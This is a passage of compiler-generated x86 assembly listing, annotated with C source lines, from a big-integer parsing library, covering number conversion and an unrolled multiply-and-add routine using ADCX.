push DWORD PTR _bin_buf_words$[ebp]
push edi
call _DeallocateBlock
; 855 : CommitNumber(*o);
push DWORD PTR [ebx]
call _CommitNumber
; 856 : if ((*o)->IS_ZERO)
mov eax, DWORD PTR [ebx]
add esp, 12 ; 0000000cH
test BYTE PTR [eax+24], 2
je SHORT $LN27@TryParseDN
; 857 : {
; 858 : DeallocateNumber(*o);
push eax
call _DeallocateNumber
add esp, 4
; 859 : *o = &number_zero;
mov DWORD PTR [ebx], OFFSET _number_zero
$LN27@TryParseDN:
; 860 : }
; 861 : return (PMC_STATUS_OK);
xor eax, eax
$LN1@TryParseDN:
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
_TryParseDN ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ConvertCardinalNumber
_TEXT SEGMENT
_work_buf_words$ = -12 ; size = 4
_work_buf$1$ = -8 ; size = 4
_work_buf_code$ = -4 ; size = 4
_in_buf$ = 8 ; size = 4
_in_buf_count$ = 12 ; size = 4
_out_buf$ = 16 ; size = 4
_ConvertCardinalNumber PROC ; COMDAT
; 694 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
push edi
; 695 : PMC_STATUS_CODE result;
; 696 : __UNIT_TYPE work_buf_code;
; 697 : __UNIT_TYPE work_buf_words;
; 698 : __UNIT_TYPE* work_buf = AllocateBlock(__UNIT_TYPE_BIT_COUNT * (in_buf_count + 1), &work_buf_words, &work_buf_code);
lea eax, DWORD PTR _work_buf_code$[ebp]
push eax
lea eax, DWORD PTR _work_buf_words$[ebp]
push eax
mov eax, DWORD PTR _in_buf_count$[ebp]
inc eax
shl eax, 5
push eax
call _AllocateBlock
mov edi, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _work_buf$1$[ebp], edi
; 699 : if (work_buf == NULL)
test edi, edi
jne SHORT $LN4@ConvertCar
; 700 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
lea eax, DWORD PTR [edi-5]
pop edi
; 719 : }
mov esp, ebp
pop ebp
ret 0
$LN4@ConvertCar:
push ebx
push esi
; 701 :
; 702 : __UNIT_TYPE work_buf_count = 1;
; 703 : work_buf[0] = in_buf[0];
mov esi, DWORD PTR _in_buf$[ebp]
mov ebx, 1
mov eax, DWORD PTR [esi]
; 704 : ++in_buf;
add esi, 4
sub DWORD PTR _in_buf_count$[ebp], ebx
mov DWORD PTR [edi], eax
; 705 : --in_buf_count;
; 706 :
; 707 : while (in_buf_count > 0)
je SHORT $LN3@ConvertCar
$LL2@ConvertCar:
; 708 : {
; 709 : __UNIT_TYPE* w_tail = (*fp_MultiplyAndAdd)(work_buf, work_buf_count, *in_buf);
push DWORD PTR [esi]
push ebx
push edi
call DWORD PTR _fp_MultiplyAndAdd
mov ebx, eax
; 710 : work_buf_count = w_tail - work_buf;
; 711 : ++in_buf;
lea esi, DWORD PTR [esi+4]
sub ebx, edi
add esp, 12 ; 0000000cH
sar ebx, 2
; 712 : --in_buf_count;
sub DWORD PTR _in_buf_count$[ebp], 1
jne SHORT $LL2@ConvertCar
$LN3@ConvertCar:
; 713 : }
; 714 : if ((result = CheckBlockLight(work_buf, work_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _work_buf_code$[ebp]
push edi
call _CheckBlockLight
add esp, 8
test eax, eax
jne SHORT $LN13@ConvertCar
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov eax, DWORD PTR _work_buf$1$[ebp]
mov ecx, ebx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
push DWORD PTR _work_buf_words$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov edi, DWORD PTR _out_buf$[ebp]
mov esi, eax
rep movsd
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
push eax
call _DeallocateBlock
add esp, 8
; 718 : return (PMC_STATUS_OK);
xor eax, eax
$LN13@ConvertCar:
pop esi
pop ebx
pop edi
; 719 : }
mov esp, ebp
pop ebp
ret 0
_ConvertCardinalNumber ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _MultiplyAndAdd_using_ADCX_MULX
_TEXT SEGMENT
_u_buf$ = 8 ; size = 4
_u_count$ = 12 ; size = 4
_x$ = 16 ; size = 4
_MultiplyAndAdd_using_ADCX_MULX PROC ; COMDAT
; 551 : {
push ebp
mov ebp, esp
; 552 : __UNIT_TYPE k = x;
; 553 : __UNIT_TYPE count = u_count >> 5;
; 554 : while (count > 0)
mov ecx, DWORD PTR _u_buf$[ebp]
push ebx
mov ebx, DWORD PTR _u_count$[ebp]
mov eax, ebx
push esi
shr eax, 5
push edi
mov edi, DWORD PTR _x$[ebp]
test eax, eax
je $LN3@MultiplyAn
mov ebx, eax
npad 2
$LL2@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+16]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+20]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+24]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+28]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+32]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+36]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+40]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+44]
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+44], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+48]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+52]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+52], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+56]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+60]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+64]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+64], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+68]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+68], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+72]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+72], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+76]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+76], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+80]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+80], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+84]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+84], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+88]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+88], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+92]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+92], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+96]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+96], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+100]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+100], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+104]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+104], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+108]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+108], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+112]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+112], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+116]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+116], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+120]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+120], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+124]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+124], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov eax, 0
adcx edi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 588 : u_buf += 32;
sub ecx, -128 ; ffffff80H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 32 ; 00000020H
lock xadd DWORD PTR [edx], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 589 : --count;
sub ebx, 1
jne $LL2@MultiplyAn
; 552 : __UNIT_TYPE k = x;
; 553 : __UNIT_TYPE count = u_count >> 5;
; 554 : while (count > 0)
mov ebx, DWORD PTR _u_count$[ebp]
$LN3@MultiplyAn:
; 590 : #ifdef ENABLED_PERFORMANCE_COUNTER
; 591 : if (sizeof(k) == sizeof(_UINT32_T))
; 592 : AddToMULTI32Counter(32);
; 593 : else
; 594 : AddToMULTI64Counter(32);
; 595 : #endif
; 596 : }
; 597 :
; 598 : if (u_count & 0x10)
test bl, 16 ; 00000010H
je $LN509@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+4]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+8]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+12]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+16]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+20]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+24]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+28]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
mov eax, 0
adcx edi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+32]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, edi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
mov eax, 0
adcx esi, eax
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+36]
; 243 : return (_addcarryx_u32(carry, u, v, w));
add eax, esi
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
